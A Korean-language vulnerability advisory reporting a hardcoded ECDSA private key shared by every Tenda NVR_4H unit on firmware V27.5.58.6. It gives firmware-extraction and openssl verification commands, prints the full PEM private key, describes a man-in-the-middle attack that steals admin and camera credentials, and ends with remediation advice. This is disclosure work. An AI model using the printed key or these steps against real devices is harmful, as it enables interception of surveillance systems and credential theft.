
Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6에서 하드코딩된 암호화 키가 발견되었습니다.
CNVD ID: CNVD-2026-25884
제조사: Tenda Technology Co., Ltd.
제품: NVR_4H 네트워크 비디오 레코더 (하드웨어 버전 CH3V2.1)
펌웨어: V27.5.58.6
분류: CWE-321 — 하드코딩된 암호화 키 사용
NVR_4H 펌웨어는 읽기 전용 user-x.squashfs 파티션(/opt/app/에 마운트됨)에 ECDSA 키 쌍을 저장합니다. 개인 키는 /etc/privkey.pem에, 이와 일치하는 자체 서명 인증서는 /etc/cacert.pem에 있습니다. 두 파일 모두 빌드 시점에 한 번 생성되어 이미지에 포함되었으므로, V27.5.58.6을 실행하는 모든 장치는 동일한 개인 키와 함께 출하됩니다.
펌웨어 이미지는 Tenda 웹사이트에서 무료로 다운로드할 수 있습니다. 이를 풀어내는 사람은 이 버전의 모든 NVR_4H HTTPS 인터페이스에 대해 작동하는 개인 키를 손에 넣게 됩니다. 동일 네트워크(LAN, Wi-Fi 또는 인터넷에 노출된 장치)에 있는 공격자는 ARP 스푸핑이나 DNS 포이즈닝을 통해 관리자의 브라우저와 NVR 사이에 프록시를 배치하고, 추출한 키로 진짜 Tenda 인증서를 제시할 수 있으며, 브라우저는 어떠한 경고도 표시하지 않습니다. 그러면 전체 세션(관리자 로그인, 세션 토큰, 카메라 RTSP 자격 증명, 장치 구성)이 실시간으로 읽히고 수정될 수 있습니다.
| 파일 | 설명 |
|---|---|
/etc/privkey.pem | 302바이트 EC 개인 키 (P-256) |
/etc/cacert.pem | 802바이트 자체 서명 인증서, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn |
펌웨어 컨테이너는 오프셋 0xBBB에 있는 ZIP 아카이브입니다:
# 1. unpack the firmware
binwalk -e ted.bin
cd ted.bin.extracted/BBB
# 2. strip the 64-byte proprietary header
dd if=user-x.squash.img of=pure_system.squashfs bs=1 skip=64
# 3. unpack the filesystem
unsquashfs pure_system.squashfs
# 4. locate the key material
find squashfs-root -name "*.pem"
# squashfs-root/etc/cacert.pem
# squashfs-root/etc/privkey.pem
개인 키가 출하된 인증서에 속하는지 확인하려면, 양쪽에서 공개 키를 내보내고 비교하십시오:
openssl ec -in squashfs-root/etc/privkey.pem -pubout > pub_from_priv.pem
openssl x509 -in squashfs-root/etc/cacert.pem -pubkey -noout > pub_from_cert.pem
diff pub_from_priv.pem pub_from_cert.pem
# no output
sha256sum pub_from_priv.pem pub_from_cert.pem
# 80b6aa4b9e8f4cd30e857ff5b9bfcf7e0227e268f4d397efdaffe37d4b0e9bcc (both files)
이 키는 이미지에서 바로 사용할 수도 있습니다:
openssl s_server \
-key squashfs-root/etc/privkey.pem \
-cert squashfs-root/etc/cacert.pem \
-accept 4433 -www
# ACCEPT — TLS server starts with no errors
user-x.squashfs는 압축된 읽기 전용 파일시스템이므로, 출하되는 모든 장치에서 내용이 바이트 단위로 동일합니다.
이미지 어디에도 장치별 프로비저닝이 없습니다: init 스크립트도, openssl 바이너리도, 최초 부팅 시 키 생성도 없습니다. 전체 파일시스템에서 키 생성과 관련된 유일한 문자열은 hostapd와 wpa_supplicant에서 나오는데, 이들은 HTTPS 서버와 아무 관련이 없습니다.
squashfs 내부의 /etc/에는 파일이 네 개뿐이며, 그중 두 개가 이 키 자료입니다. 둘 다 런타임 타임스탬프가 아닌 squashfs 빌드 타임스탬프를 가지고 있습니다.
인증서는 X.509 v1, 자체 서명(발급자 = 주체 = C=CN, ST=ZJ, L=HZ, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn)이며, 1999-12-31부터 2049-12-18까지 유효하고, SAN도 키 사용 확장도 없습니다. 일련번호 1c:f2:13:a0:7b:e2:7c:91:63:f3:e0:0c:be:0f:0d:42:2e:6b:e8:69는 고정되어 있으며 모든 장치에서 동일합니다.
추출된 개인 키는 그대로 사용할 수 있습니다:
-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIHQLiI/KUzk/hXX4BZVuujlQMit341WWi3sTpLlGQVcaoAoGCCqGSM49
AwEHoUQDQgAEqFt550/3k/nGoYr4CFeRtvDf9HuZpHbb5FecKweJtFH7a5hBNFqq
qckxILVt8KefGENelZgPdEGNU6VcXyTORA==
-----END EC PRIVATE KEY-----
이 펌웨어 버전의 모든 장치에 대해, 공개 이미지를 다운로드한 사람이라면 누구든지 전체 HTTPS 관리 인터페이스의 기밀성과 무결성이 상실됩니다. 대상 측에서는 어떠한 권한도, 사용자 상호작용도 필요하지 않습니다. 수동적 MITM만으로 충분합니다. 탈취된 관리자 자격 증명은 레코더와 그 카메라에 대한 완전한 제어권을 제공합니다.
최초 부팅 시 장치별로 고유한 키 쌍을 생성하여 쓰기 가능한 파티션(예: /opt/sav/ 아래의 JFFS2 영역)에 저장하고, 읽기 전용 이미지에서 privkey.pem과 cacert.pem을 완전히 제거하십시오. 장기적으로는 제조 시점에 서명된 장치별 인증서를 발급하십시오.